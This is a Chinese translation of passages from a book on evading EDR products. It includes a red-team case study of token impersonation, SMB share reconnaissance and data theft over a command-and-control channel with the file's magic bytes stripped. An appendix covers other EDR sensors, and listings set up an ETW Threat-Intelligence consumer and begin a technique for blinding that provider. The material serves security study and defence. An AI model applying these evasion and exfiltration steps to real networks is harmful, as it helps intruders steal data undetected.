以便用户与电子表格进行交互。当我们的代理与我们的指挥和控制基础设施联系时,我们应该会看到它以 TTAYLOR.ADM@BINFORD.COM 的身份出现,从而将我们的权限提升到 Binford 的 Active Directory 域中的管理员账户,所有这些都不需要打开 LSASS 的句柄! 现在我们的代理正在运行在我们怀疑是一个特权账户的环境中,我们需要发现我们在域中拥有的访问权限。与其通过使用 SharpHound 来收集信息(这项活动已经变得越来越难以成功执行),我们可以进行更精细的检查,以找出如何跳转到另一台主机。 你可能会认为,横向移动,或者扩展我们对环境的访问,必须涉及在更多主机上部署更多的代理。然而,这可能会增加大量我们不需要的新指标。例如,基于 PsExec 的横向移动,其中包含代理 Shellcode 的服务二进制文件被复制到目标系统,并创建并启动一个指向该新复制二进制文件的服务,从而启动一个新的回调。这将涉及生成一个网络登录事件,以及创建新文件、注册表键、关联服务的新进程和网络连接,连接到我们的指挥和控制基础设施或我们被攻陷的主机。 问题就变成了:我们是否绝对需要部署一个新代理,还是有其他方式可以获得我们需要的信息? 寻找横向移动目标的首个地方之一是当前主机上已建立的网络连接列表。这种方法有几个好处。首先,它不需要网络扫描。其次,它可以帮助你理解环境的防火墙配置,因为如果主机与另一台系统之间已经建立了连接,那么可以安全地假设防火墙规则允许了它。最后,它可以帮助我们融入环境。由于我们被攻陷的系统至少曾与列表中的主机连接过一次,因此新的连接可能看起来比连接到从未与该主机通信过的系统更加不显眼。 既然我们之前已经接受了使用 Seatbelt 的风险,我们可以再次使用它。TcpConnections 模块列出了我们的主机与网络中其他主机之间的现有连接,如 列表 13-3 所示。 列表 13-3:使用 Seatbelt 枚举网络连接 由于某些系统建立的连接数量庞大,这些输出有时可能会让人不知所措。我们可以通过移除不感兴趣的连接来简化列表。例如,我们可以去掉任何 HTTP 和 HTTPS 连接,因为我们很可能需要提供用户名和密码才能访问这些服务器;我们拥有属于TTAYLOR.ADM@BINFORD.COM的令牌,但没有该用户的密码。我们还可以去掉任何回环连接,因为这不会帮助我们扩展对环境中新系统的访问。这样我们就能得到一个大大精简的列表。 在这里,我们注意到有多个连接到内部主机的高端端口,这通常是 RPC 流量的标志。很可能我们和这些主机之间没有防火墙,因为对这些端口的明确规则非常罕见,但如果没有 GUI 访问主机,弄清楚协议的性质会比较棘手。 还有一个连接到内部主机的 TCP 445 端口 ❶,这几乎总是远程文件共享浏览使用 SMB 的标志。SMB 可以使用我们的令牌进行身份验证,并不总是要求我们输入凭据。此外,我们可以利用文件共享功能浏览远程系统,而无需部署新的代理程序。这正是我们所需要的! 假设这是一个传统的 SMB 连接,我们现在需要找到正在访问的共享名称。简单的答案,尤其是在假设我们是管理员的情况下,就是挂载 C$ 共享。这将允许我们像在 C: 驱动器的根目录中一样浏览操作系统卷。 然而,在企业环境中,共享驱动器很少通过这种方式访问。共享文件夹更为常见。不幸的是,列举这些共享并不像简单列出 *\10.1.10.48* 的内容那么简单。不过,还是有很多方法可以获取这些信息。让我们探索一下其中的一些方法: 使用 net view 命令 要求我们在主机上启动 net.exe,这一操作会受到 EDR 的进程创建传感器的严格监视。 在 PowerShell 中运行 Get-SmbShare 内建的 PowerShell cmdlet,支持本地和远程操作,但需要我们调用 powershell.exe。 在 PowerShell 中运行 Get-WmiObject Win32_Share 与前面的 cmdlet 相似,但通过 WMI 查询共享。 运行 SharpWMI.exe action=query query=" "select * from win32_share" " 在功能上与之前的 PowerShell 示例相同,但它使用了 .NET 程序集,这使我们可以通过 execute-assembly 及其等效方法来操作。 使用 Seatbelt.exe 网络共享 几乎与 SharpWMI 相同;使用 Win32_Share WMI 类查询远程系统上的共享 这些只是几个例子,每个方法都有利有弊。由于我们已经做了工作来模糊化 Seatbelt,并且知道它在这个环境中表现良好,我们可以再次使用它。大多数 EDR 基于进程中心模型工作,这意味着它们根据进程跟踪活动。像我们最初的访问一样,我们将运行在 excel.exe 中,并在需要时,将我们的 spawnto 进程设置为与之前相同的镜像。当我们枚举 10.1.10.48 上的远程共享时,Seatbelt 会生成如 列表 13-4 所示的输出。 列表 13-4:使用 Seatbelt 枚举网络共享 这些信息告诉我们一些关于目标系统的情况。首先,我们有能力浏览 C\(*,这表明我们要么被授予了读取其文件系统卷的权限,要么更可能是我们对主机拥有管理员访问权限。读取 *C\) 使我们能够枚举诸如已安装的软件和用户文件等内容。这些都能提供关于系统如何使用及其使用者的宝贵上下文。 然而,其他网络共享比 C$ 更有趣。它们看起来属于 Binford 内部的不同业务单元:FIN 可能代表财务,ENG 代表工程,IT 代表信息技术,MKT 代表市场营销,等等。根据我们的目标,ENG 可能是一个不错的目标。 但是,确定这一点存在检测风险。当我们列出远程共享的内容时,会发生几件事。首先,会与远程服务器建立网络连接。EDR 的网络过滤驱动程序会监视这一过程,并且因为这是一个 SMB 客户端连接,Microsoft-Windows-SMBClient ETW 提供程序也会发挥作用。我们的客户端将对远程系统进行身份验证,通过 ETW 提供程序 Microsoft-Windows-Security-Auditing 创建事件(以及安全事件日志中的事件 ID 5140,表示访问了网络共享)。如果在共享文件夹或其中的文件上设置了 系统访问控制列表(SACL)(一种用于审计对象访问请求的访问控制列表),当访问共享文件夹的内容时,将通过 Microsoft-Windows-Security-Auditing ETW 提供程序生成事件(以及事件 ID 4663)。 但是,请记住,主机上生成的遥测数据并不意味着一定被捕获。根据我的经验,EDR 几乎不会监控我在上一段中提到的内容。它们可能会监控身份验证事件和网络,但我们使用的是已经建立的 SMB 服务器网络连接,这意味着浏览ENG共享目录可能让我们与该系统正常流量融为一体,从而减少由于异常访问事件而被检测到的可能性。 这并不是说我们会掩藏得如此之好,以至于完全没有风险。我们的用户可能通常不会浏览ENG共享目录,这使得任何访问事件在文件层面上都会显得异常。也可能存在非 EDR 控制措施,例如数据丢失防护软件或通过 SACL 实现的诱饵。我们必须权衡该共享目录可能包含 Binford 的珍贵数据与我们浏览所带来的被检测风险。 所有迹象都指向这个驱动器可能包含我们所需要的文件,于是我们开始递归列出ENG共享的子目录,找到了\10.1.10.48\ENG\Products\6100\3d\screwdriver_v42.stl,这是一个立体光刻文件,通常被机械工程领域的设计应用程序使用。为了验证这个文件是否是 Binford 6100 左手螺丝刀的 3D 模型,我们需要将其提取出来,并在能够处理.stl文件的应用程序中打开它。 我们攻击的最后一步是将 Binford 的珍贵数据从其环境中提取出来。奇怪的是,在这次操作中,尽管这对环境的影响最大,但被 EDR 检测到的可能性却最低。公平地说,这并不完全是 EDR 的责任范围。尽管如此,传感器仍然可能会检测到我们的数据提取,因此我们应该在方法上保持谨慎。 从系统中提取数据有很多方法。选择一种技术取决于多个因素,例如数据的位置、内容和大小。另一个需要考虑的因素是数据格式的容错性;如果我们没有接收到文件的全部内容,它是否仍然可用?文本文件就是一个很好的容错文件类型的例子,因为缺失文件的一半意味着我们只是丢失了文档的一部分文本。另一方面,图像通常没有容错性,因为如果我们缺少图片的一部分,通常无法以任何有意义的方式重新构建它。 最后,我们应该考虑数据的获取速度。如果我们需要尽快获得全部数据,通常会面临比缓慢提取文件时更高的被检测风险,因为在一定时间内传输的数据量会更大,跨越网络边界时,可能会实施安全监控。 在我们的操作中,我们可以承受更多的风险,因为我们不打算在环境中停留太长时间。通过对 ENG 共享文件夹的侦察,我们发现 .stl 文件的大小为 4MB,相对于其他类型的文件并不算过大。由于我们有较高的风险容忍度,并且处理的是一个小文件,我们可以选择简单的方式,通过我们的指挥控制通道外泄数据。 即使我们使用了 HTTPS,我们仍然应该保护数据的内容。假设我们发送的任何消息内容都会受到安全产品的检查。特别是在外泄文件时,我们最关心的问题之一就是文件签名,或称为魔术字节,它位于文件的开头,用于唯一标识文件类型。对于 .stl 文件,这个签名是 73 6F 6C 69 64。 感谢技术的发展,我们有很多方法可以混淆我们正在外泄的文件类型,从加密文件内容到在传输文件前简单地去掉魔术字节,然后在文件接收后再附加回来。对于人类可读的文件类型,我倾向于使用加密,因为可能会有监控针对出站连接请求中的特定字符串。对于其他类型的文件,如果在这个阶段存在被检测的风险,我通常会移除、篡改或伪造文件的魔术字节。 当我们准备好外泄文件时,可以使用代理内建的下载功能通过已建立的指挥控制通道发送文件。在此过程中,我们将请求打开文件,以便将其内容读取到内存中。当这种情况发生时,EDR 的文件系统最小过滤驱动程序会收到通知,并可能查看与事件相关的某些属性,例如请求者是谁。由于组织本身需要根据这些数据建立检测规则,因此 EDR 在此阶段进行检测的可能性相对较低。 一旦我们将文件的内容读取到代理的地址空间中,我们可以关闭文件的句柄并开始传输。通过 HTTP 或 HTTPS 通道传输数据会导致相关的 ETW 提供者发出事件,但如果通道是安全的,比如使用 HTTPS,这些事件通常不会包含消息内容。因此,我们不应该遇到任何问题来获取我们的设计计划。一旦文件下载完成,我们只需将魔术字节加回并在选择的 3D 建模软件中打开文件(图 13-1)。 图 13-1:Binford 6100 左手螺丝刀 我们已经完成了任务目标:获取 Binford 革命性产品的设计信息(故意带有双关意味)。在执行这项操作时,我们利用了对 EDR 检测方法的了解,做出了明智的决策,选择了如何在环境中移动。 请记住,我们采取的路径可能并不是到达目标的最佳(或唯一)方式。我们能否在没有考虑噪音的情况下超越 Binford 的防御者?如果我们决定不通过 Active Directory 工作,而是使用基于云的文件托管应用程序,比如 SharePoint,来定位设计信息,会怎样呢?每一种方法都会显著改变 Binford 检测我们的方式。 阅读完本书后,你应该掌握了做出这些战略选择所需的信息。请小心行事,祝你好运。 现代的 EDR 有时会使用一些本书至今未涉及的较少见的组件。这些辅助遥测源可以为 EDR 提供巨大的价值,提供来自其他传感器无法获取的数据。 由于这些数据源不常见,我们不会深入探讨它们的内部工作原理。相反,本附录涵盖了一些它们的示例、它们的工作原理以及它们能为 EDR 代理提供的功能。这绝不是一个详尽无遗的列表,但它揭示了一些你在研究过程中可能遇到的较为小众的组件。 本书已经展示了拦截函数调用、检查传递给函数的参数以及观察它们的返回值的价值。在本书撰写时,拦截函数调用的最常见方法依赖于将 DLL 注入目标进程,并修改另一个 DLL 的导出函数的执行流程,例如ntdll.dll,强制执行流程经过 EDR 的 DLL。然而,由于该方法的实现固有的弱点,这种方法很容易被绕过(请参见第二章)。 还有其他更强大的拦截函数调用的方法,例如使用 Microsoft-Windows-Threat-Intelligence ETW 提供程序间接拦截内核中的某些系统调用,但这些方法也有自身的局限性。拥有多种实现相同效果的技术为防守方提供了优势,因为某种方法在某些情境下可能比其他方法更有效。因此,一些厂商在其产品中利用了替代的挂钩方法,以增强它们监控可疑函数调用的能力。 在 2015 年的 Recon 会议上,Alex Ionescu 在题为“Esoteric Hooks”的演讲中详细阐述了其中的一些技术。一些主流 EDR 厂商已经实现了他所描述的某种方法:涅槃挂钩。传统的函数挂钩通过拦截函数的调用者来工作,而这种技术则拦截系统调用从内核返回到用户模式的时刻。这使得代理能够识别那些没有来自已知位置的系统调用,例如映射到进程地址空间中的ntdll.dll的副本。因此,它能够检测手动系统调用的使用,这种技术近年来在攻击工具中变得相对常见。 然而,这种钩子方法也有一些显著的缺点。首先,它依赖于一个未记录的 PROCESS_INFORMATION_CLASS 和相关结构,这些信息会传递给 NtSetInformationProcess(),以监控产品希望监控的每个进程。由于它未正式支持,微软可能随时修改其行为或完全禁用它。此外,开发人员必须通过捕获返回上下文并将其与已知的良好镜像关联,来识别调用源,以便检测手动系统调用的调用。最后,这种钩子方法容易规避,因为对手可以通过调用 NtSetInformationProcess() 将回调置为空,从而从他们的进程中移除钩子,类似于安全进程最初如何设置它。 即使 Nirvana 钩子相对容易规避,并非每个对手都有能力做到这一点,而且它们提供的遥测信息仍然可能有价值。供应商可以采用多种技术来提供他们所需的覆盖范围。 最近的攻击重新点燃了对 RPC 技巧的兴趣。例如,Lee Christensen 的 PrinterBug 和 topotam 的 PetitPotam 漏洞已经证明了它们在 Windows 环境中的有效性。作为回应,EDR 供应商开始关注新兴的 RPC 技巧,希望能够检测并防止其使用。 RPC 流量在大规模操作中难以处理。EDR 可以通过使用RPC 过滤器来监控它。它们本质上是基于 RPC 接口标识符的防火墙规则,使用内置的系统工具可以轻松创建和部署。例如,列表 A-1 演示了如何使用 netsh.exe 以交互方式禁止所有传入的 DCSync 流量到当前主机。EDR 可以在环境中的所有域控制器上部署此规则。 列表 A-1:使用 netsh 添加和列出 RPC 过滤器 这些命令添加了一个新的 RPC 过滤器,专门阻止使用目录复制服务 RPC 接口的任何通信(该接口的 GUID 为 E3514235-4B06-11D1-AB04-00C04FC2DCD2)。一旦通过 add filter 命令安装了该过滤器,它便会在系统上生效,禁止 DCSync。 每当 RPC 过滤器阻止连接时,Microsoft-Windows-RPC 提供程序将会发出一个 ETW 事件,类似于在 列表 A-2 中显示的事件。 列表 A-2:一个显示被过滤器阻止活动的 ETW 事件 尽管这个事件总比没有强,但防御者理论上可以利用它来构建检测,但它缺乏进行强大检测所需的大部分上下文信息。例如,发出请求的主要单位和流量方向(即进站或出站)并不立即明确,这使得过滤事件以帮助调整检测变得困难。 一个更好的选择可能是从 Microsoft-Windows-Security-Auditing Secure ETW 提供程序获取类似的事件。由于该提供程序受到保护,标准应用程序无法直接获取它。不过,它会被传输到 Windows 事件日志,并在 Windows 筛选平台的基本过滤引擎阻止请求时生成事件 ID 5157。列表 A-3 包含了事件 ID 5157 的示例。你可以看到它比 Microsoft-Windows-RPC 发出的事件详细得多。 列表 A-3:Microsoft-Windows-Security-Auditing Secure ETW 提供程序的事件清单 尽管这个事件包含了更多数据,但它也有一些局限性。特别是,尽管包括了源端口和目标端口,但缺少了接口 ID,这使得难以判断事件是否与阻止 DCSync 尝试的过滤器相关,还是与其他过滤器完全无关。此外,这个事件在不同版本的 Windows 中表现不一致,在某些版本中正确生成,而在其他版本中完全缺失。因此,一些防御者可能更倾向于使用那个数据更简洁但更一致的 RPC 事件作为主要数据源。 虚拟机监控程序通过虚拟化一个或多个客户操作系统,并根据虚拟机监控程序的架构,充当客户操作系统与硬件或基础操作系统之间的中介。这一中介位置为 EDR 提供了一个独特的检测机会。 一旦理解了一些核心概念,虚拟机监控程序的内部工作原理就相对简单。Windows 在多个 环 中运行代码;运行在更高环中的代码,例如 环 3 用户模式,比运行在较低环中的代码(如 环 0 内核模式)特权较少。根模式,虚拟机监控程序所在的模式,运行在环 0,即最低支持的架构特权级别,并限制客户机或非根模式系统能够执行的操作。图 A-1 展示了这个过程。 图 A-1:VMEXIT 和 VMENTER 的操作 当虚拟化的来宾系统尝试执行虚拟机监控程序必须处理的指令或操作时,会发生VMEXIT指令。发生这种情况时,控制权从来宾转移到虚拟机监控程序。虚拟机控制结构(VMCS)保存来宾和虚拟机监控程序的处理器状态,以便稍后恢复。它还记录VMEXIT的原因。每个逻辑处理器都有一个 VMCS,你可以在英特尔软件开发者手册的第 3C 卷中了解更多关于它们的信息。 注意 为了简化起见,本简短的探讨仅涵盖基于英特尔 VT-x 的虚拟机监控程序操作,因为英特尔的 CPU 在本文撰写时仍然是最受欢迎的。 当虚拟机监控程序进入根模式操作时,它可以根据VMEXIT的原因来模拟、修改和记录活动。这些退出可能因许多常见原因而发生,包括诸如RDMSR(用于读取特定型号寄存器)和CPUID(返回有关处理器的信息)等指令。根模式操作完成后,执行会通过VMRESUME指令转回非根模式操作,允许来宾继续运行。 有两种类型的虚拟机监控程序。像微软的 Hyper-V 和 VMware 的 ESX 这样的产品是我们所称的类型 1 虚拟机监控程序。这意味着虚拟机监控程序运行在裸机系统上,如图 A-2 所示。 图 A-2:类型 1 虚拟机监控程序架构 另一种类型的虚拟机监控程序,类型 2,运行在安装在裸机系统上的操作系统中。这些包括 VMware 的 Workstation 和 Oracle 的 VirtualBox。类型 2 架构如图 A-3 所示。 图 A-3:类型 2 虚拟机监控程序架构 类型 2 虚拟机监控程序之所以有趣,是因为它们可以虚拟化已经运行的系统。因此,用户无需登录到系统,启动像 VMware Workstation 这样的应用程序,启动虚拟机,登录虚拟机,然后从虚拟机中进行工作,而是直接将主机作为虚拟机。这使得虚拟机监控程序层对用户(以及潜在的攻击者)透明,同时允许 EDR 收集所有可用的遥测数据。 大多数实现虚拟机监控器的端点检测与响应(EDR)系统采用 Type 2 方法。然而,它们必须遵循一系列复杂的步骤来虚拟化现有系统。完全的虚拟机监控器实现远超本书的范畴。如果你对此话题感兴趣,Daax Rynd 和 Sina Karvandi 都提供了实现自己虚拟机监控器的优秀资源。 虚拟机监控器能够提供比几乎任何其他传感器都更深入的系统操作可视化。使用它,端点安全产品可以检测到其他环节的传感器无法察觉的攻击,例如以下几种: 虚拟机检测 一些恶意软件尝试通过发出 CPUID 指令来检测其是否运行在虚拟机中。由于此指令会引发 VMEXIT,虚拟机监控器有能力决定返回给调用者的内容,从而欺骗恶意软件使其认为自己并未运行在虚拟机中。 系统调用拦截 虚拟机监控器可以利用扩展功能使能寄存器(EFER)功能,在每次系统调用时退出并模拟其操作。 控制寄存器修改 虚拟机监控器(hypervisor)可以检测控制寄存器中的位修改(例如,SMEP 位在 CR4 寄存器中的变化),这种行为可能是攻击的一部分。此外,虚拟机监控器可以在控制寄存器发生变化时退出,从而检查来宾的执行上下文,识别诸如令牌窃取攻击之类的行为。 内存变化追踪 虚拟机监控器可以结合扩展页表(EPT)利用页面修改日志来追踪特定内存区域的变化。 分支追踪 虚拟机监控器可以利用最后分支记录(last branch record),这是一组用于追踪分支、中断和异常的寄存器,结合 EPT 进一步追踪程序执行,而不仅仅是监控其系统调用。 在与部署了虚拟机监控器的系统作对抗时,一项难题是,当你意识到自己处在虚拟机中时,可能已经被检测到。因此,恶意软件开发人员通常会在执行恶意软件之前,使用虚拟机检测功能,如 CPUID 指令或睡眠加速功能。如果恶意软件发现自己运行在虚拟机中,它可能会选择终止或仅仅执行一些无害的操作。 攻击者还可以选择卸载虚拟机监控器(hypervisor)。对于第二类虚拟机监控器(Type 2 hypervisors),你可能通过 I/O 控制代码与驱动程序进行交互,修改启动配置,或直接停止控制服务,从而使虚拟机监控器去虚拟化处理器并卸载,防止其继续监控未来的操作。至今,尚未有公开报告显示现实世界中的对手使用过这些技术。 <templates>
`--snip--`
<template tid="KERNEL_THREATINT_TASK_PROTECTVMArgs_V1">
<data name="CallingProcessId" inType="win:UInt32"/>
<data name="CallingProcessCreateTime" inType="win:FILETIME"/> <data name="CallingProcessStartKey" inType="win:UInt64"/>
<data name="CallingProcessSignatureLevel" inType="win:UInt8"/>
<data name="CallingProcessSectionSignatureLevel" inType="win:UInt8"/>
<data name="CallingProcessProtection" inType="win:UInt8"/>
<data name="CallingThreadId" inType="win:UInt32"/>
<data name="CallingThreadCreateTime" inType="win:FILETIME"/>
<data name="TargetProcessId" inType="win:UInt32"/>
<data name="TargetProcessCreateTime" inType="win:FILETIME"/>
<data name="TargetProcessStartKey" inType="win:UInt64"/>
<data name="TargetProcessSignatureLevel" inType="win:UInt8"/>
<data name="TargetProcessSectionSignatureLevel" inType="win:UInt8"/>
<data name="TargetProcessProtection" inType="win:UInt8"/>
<data name="OriginalProcessId" inType="win:UInt32"/>
<data name="OriginalProcessCreateTime" inType="win:FILETIME"/>
<data name="OriginalProcessStartKey" inType="win:UInt64"/>
<data name="OriginalProcessSignatureLevel" inType="win:UInt8"/>
<data name="OriginalProcessSectionSignatureLevel" inType="win:UInt8"/>
<data name="OriginalProcessProtection" inType="win:UInt8"/>
<data name="BaseAddress" inType="win:Pointer"/>
<data name="RegionSize" inType="win:Pointer"/>
<data name="ProtectionMask" inType="win:UInt32"/>
<data name="LastProtectionMask" inType="win:UInt32"/>
</template>
1: kd> **dq @rax L(@r9*2)**
`--snip--`
ffff9285`03dc6940 ffff9285`03dc69c0 00000000`00000004
ffff9285`03dc6950 ffff9285`03dc69c8 00000000`00000004
1: kd> **dd ffff9285`03dc69c0 L1**
❶ ffff9285`03dc69c0 00000004
1: kd> **dd ffff9285`03dc69c8 L1**
❷ ffff9285`03dc69c8 00000020
确定事件的来源
Microsoft-Windows-Threat-Intelligence Sensors
Microsoft-Windows-Security- Mitigations Sensors
EtwTiLogAllocExecVm
EtwTimLogBlockNonCetBinaries
EtwTiLogDeviceObjectLoadUnload
EtwTimLogControlProtectionKernelModeReturnMismatch
EtwTiLogDriverObjectLoad
EtwTimLogControlProtectionUserModeReturnMismatch
EtwTiLogDriverObjectUnLoad
EtwTimLogProhibitChildProcessCreation
EtwTiLogInsertQueueUserApc
EtwTimLogProhibitDynamicCode
EtwTiLogMapExecView
EtwTimLogProhibitLowILImageMap
EtwTiLogProtectExecView
EtwTimLogProhibitNonMicrosoftBinaries
EtwTiLogReadWriteVm
EtwTimLogProhibitWin32kSystemCalls
EtwTiLogSetContextThread
EtwTimLogRedirectionTrustPolicy
EtwTiLogSuspendResumeProcess
EtwTimLogUserCetSetContextIpValidationFailure
EtwTiLogSuspendResumeThread
使用 Neo4j 发现传感器触发器
让数据集与 Neo4j 配合使用
CREATE CONSTRAINT function_name ON (n:Function) ASSERT n.name IS UNIQUE
CALL apoc.load.json("file:///xref.json") YIELD value
UNWIND value as func
MERGE (n:Function {name: func.FunctionName})
SET n.entrypoint=func.EntryPoint
WITH n, func
UNWIND func.CalledBy as cb
MERGE (m:Function {name:cb})
MERGE (m)-[:Calls]->(n)
查看调用树
MATCH p=shortestPath((f:Function)-[rCalls*1..]->(t:Function {name: "EtwTiLogProtectExecVm"}))
WHERE f.name STARTS WITH 'Nt' RETURN p;



传感器
来自系统调用的调用树(深度 = 4)
EtwTiLogAllocExecVm
MiAllocateVirtualMemory←NtAllocateVirtualMemory
EtwTiLogDriverObjectLoad
IopLoadDriver←IopLoadUnloadDriver←IopLoadDriverImage←NtLoadDriverIopLoadDriver←IopLoadUnloadDriver←IopUnloadDriver←NtUnloadDriver
EtwTiLogInsertQueueUserApc 还有其他分支的调用树会导致系统调用,例如 nt!IopCompleteRequest(), nt!PspGet ContextThreadInternal(), 和 nt!PspSet ContextThreadInternal(), 但这些并不特别有用,因为许多内部函数无论是否显式创建了 APC 都依赖这些函数。
KeInsertQueueApc ←NtQueueApcThread KeInsertQueueApc ←NtQueueApcThreadEx
EtwTiLogMapExecView
NtMapViewOfSectionMiMapViewOfSectionExCommon ←NtMapViewOfSectionEx
EtwTiLogProtectExecVm
NtProtectVirtualMemory
EtwTiLogReadWriteVm
MiReadWriteVirtualMemory←NtReadVirtualMemoryMiReadWriteVirtualMemory←NtReadVirtualMemoryExMiReadWriteVirtualMemory←NtWriteVirtualMemory
EtwTiLogSetContextThread
PspSetContextThreadInternal←NtSetContextThread
EtwTiLogSuspendResumeThread 此传感器有额外的路径,未列出并与调试 API 相关,包括 ntdll!NtDebugActiveProcess(), ntdll!Nt DebugContinue(), 和 ntdll!NtRemove ProcessDebug().
PsSuspendThread←NtSuspendThreadPsSuspendThread←NtChangeThreadStatePsSuspendThread←PsSuspendProcess←NtSuspendProcessPsMultiResumeThread←NtResumeThread
消费 EtwTi 事件
PS > **logman.exe create trace EtwTi -p Microsoft-Windows-Threat-Intelligence -o C:\EtwTi.etl**
PS > **logman.exe start EtwTi**
理解受保护的进程

typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1;
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
kd> **dt nt!_PS_PROTECTED_TYPE**
PsProtectedTypeNone = 0n0
PsProtectedTypeProtectedLight = 0n1
PsProtectedTypeProtected = 0n2
PsProtectedTypeMax = 0n3
kd> **dt nt!_PS_PROTECTED_SIGNER**
PsProtectedSignerNone = 0n0
PsProtectedSignerAuthenticode = 0n1
PsProtectedSignerCodeGen = 0n2
PsProtectedSignerAntimalware = 0n3
PsProtectedSignerLsa = 0n4
PsProtectedSignerWindows = 0n5
PsProtectedSignerWinTcb = 0n6
PsProtectedSignerWinSystem = 0n7
PsProtectedSignerApp = 0n8
PsProtectedSignerMax = 0n9
kd> **dt nt!_EPROCESS Protection**
+0x87a Protection : _PS_PROTECTION
kd> **!process 0 0 MsMpEng.exe**
PROCESS ffffa608af571300
SessionId: 0 Cid: 1134 Peb: 253d4dc000 ParentCid: 0298
DirBase: 0fc7d002 ObjectTable: ffffd60840b0c6c0 HandleCount: 636.
Image: MsMpEng.exe
kd> **dt nt!_PS_PROTECTION ffffa608af571300** **+ 0x87a**
+0x000 Level : 0x31 '1'
+0x000 Type ❶ : 0y001
+0x000 Audit : 0y0
+0x000 Signer ❷ : 0y0011
创建受保护的进程
注册 ELAM 驱动程序
1: kd> **k**
# Child-SP RetAddr Call Site
00 ffff8308`ea406828 fffff804`1724c9af nt!SeRegisterElamCertResources
01 ffff8308`ea406830 fffff804`1724f1ac nt!PipInitializeEarlyLaunchDrivers+0x63
02 ffff8308`ea4068c0 fffff804`1723ca40 nt!IopInitializeBootDrivers+0x153
03 ffff8308`ea406a70 fffff804`172436e1 nt!IoInitSystemPreDrivers+0xb24
04 ffff8308`ea406bb0 fffff804`16f8596b nt!IoInitSystem+0x15
05 ffff8308`ea406be0 fffff804`16b55855 nt!Phase1Initialization+0x3b
06 ffff8308`ea406c10 fffff804`16bfe818 nt!PspSystemThreadStartup+0x55
07 ffff8308`ea406c60 00000000`00000000 nt!KiStartSystemThread+0x28
创建签名
PS > **$password = ConvertTo-SecureString -String "ThisIsMyPassword" -Force -AsPlainText**
PS > **$cert = New-SelfSignedCertificate -certstorelocation "Cert:\CurrentUser\My"**
**>> -HashAlgorithm SHA256 -Subject "CN=MyElamCert" -TextExtension**
**>> @("2.5.29.37={text}1.3.6.1.4.1.311.61.4.1,1.3.6.1.5.5.7.3.3")**
PS > **Export-PfxCertificate -cert $cert -FilePath "MyElamCert.pfx" -Password $password**
PS > **signtool.exe sign /fd SHA256 /a /v /ph /f .\MyElamCert.pfx**
**>> /p "ThisIsMyPassword" .\path \to\my\service.exe**
创建资源
PS > **.\certmgr.exe -v .\path\to\my\service.exe**
`--snip--`
Content Hash (To-Be-Signed Hash):: 04 36 A7 99 81 81 81 07 2E DF B6 6A 52 56 78 24 '.6.….….jRVx$'
E7 CC 5E AA A2 7C 0E A3 4E 00 8D 9B 14 98 97 02 '..^..|..N.……'
`--snip--`
Content SignatureAlgorithm:: 1.2.840.113549.1.1.11 (sha256RSA)
`--snip--`
添加新资源文件
MicrosoftElamCertificateInfo MSElamCertInfoID
{
1,
L"0436A799818181072EDFB66A52567824E7CC5EAAA27C0EA34E008D9B14989702\0",
0x800C,
L"\0"
}
签名资源
PS > **signtool.exe sign /fd SHA256 /a /v /ph /f "MyElamCert.pfx" /p "ThisIsMyPassword"**
**>> .\path\to\my\driver.sys**
安装驱动程序
BOOL RegisterElamCertInfo(wchar_t* szPath)
{
HANDLE hELAMFile = NULL;
hELAMFile = CreateFileW(
szPath, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hELAMFile == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] Failed to open the ELAM driver. Error: 0x%x\n",
GetLastError());
return FALSE;
}
if (!InstallELAMCertificateInfo(hELAMFile))
{
wprintf(L"[-] Failed to install the certificate info. Error: 0x%x\n",
GetLastError());
CloseHandle(hELAMFile);
return FALSE;
}
wprintf(L"[+] Installed the certificate info");
return TRUE;
}
启动服务
BOOL CreateProtectedService() {
SC_HANDLE hSCM = NULL; SC_HANDLE hService = NULL;
SERVICE_LAUNCH_PROTECTED_INFO info;
❶ hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCM) {
return FALSE;
}
❷ hService = CreateServiceW(
hSCM,
L"MyEtWTiConsumer",
L"Consumer service",
SC_MANAGER_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
L"\\path\\to\\my\\service.exe",
NULL, NULL, NULL, NULL, NULL);
if (!hService) {
CloseServiceHandle(hSCM);
return FALSE;
}
info.dwLaunchProtected =
SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT;
❸ if (!ChangeServiceConfig2W(
hService,
SERVICE_CONFIG_LAUNCH_PROTECTED,
&info))
{
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return FALSE;
}
if (!StartServiceW(hService, 0, NULL)) {
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return FALSE;
}
return TRUE;
}

处理事件
规避 EtwTi
共存
Trace-Handle Overwriting
0: kd> **dt nt!_ETW_REG_ENTRY poi(nt!EtwThreatIntProvRegHandle)**
` --snip--`
+0x020 GuidEntry : 0xffff8e8a`901f3c50 _ETW_GUID_ENTRY
` --snip--`
0: kd> **dx -id 0,0,ffff8e8a90062040 -r1 (*((ntkrnlmp!_TRACE_ENABLE_INFO *)0xffff8e8a901f3cd0))**
(*((ntkrnlmp!_TRACE_ENABLE_INFO *)0xffff8e8a901f3cd0))
[Type: _TRACE_ENABLE_INFO]
❶ [+0x000] IsEnabled : 0x1 [Type: unsigned long]
[+0x004] Level : 0xff [Type: unsigned char]
[+0x005] Reserved1 : 0x0 [Type: unsigned char]
[+0x006] LoggerId : 0x4 [Type: unsigned short]
[+0x008] EnableProperty : 0x40 [Type: unsigned long]
[+0x00c] Reserved2 : 0x0 [Type: unsigned long]
[+0x010] MatchAnyKeyword : 0xdcfa5555 [Type: unsigned __int64]
[+0x018] MatchAllKeyword : 0x0 [Type: unsigned __int64]
0: kd> **vertarget**
`--snip--`
Kernel base = 0xfffff803`02c00000 PsLoadedModuleList = 0xfffff803`0382a230
`--snip--`
0: kd> **x /0 nt!EtwThreatIntProvRegHandle**
fffff803`038197d0
0: kd> **? fffff803`038197d0 - 0xfffff803`02c00000**
Evaluate expression: 12687312 = 00000000`00c197d0
void GetKernelBaseAddress()
{
NtQuerySystemInformation pfnNtQuerySystemInformation = NULL;
HMODULE hKernel = NULL;
HMODULE hNtdll = NULL;
RTL_PROCESS_MODULES ModuleInfo = {0};
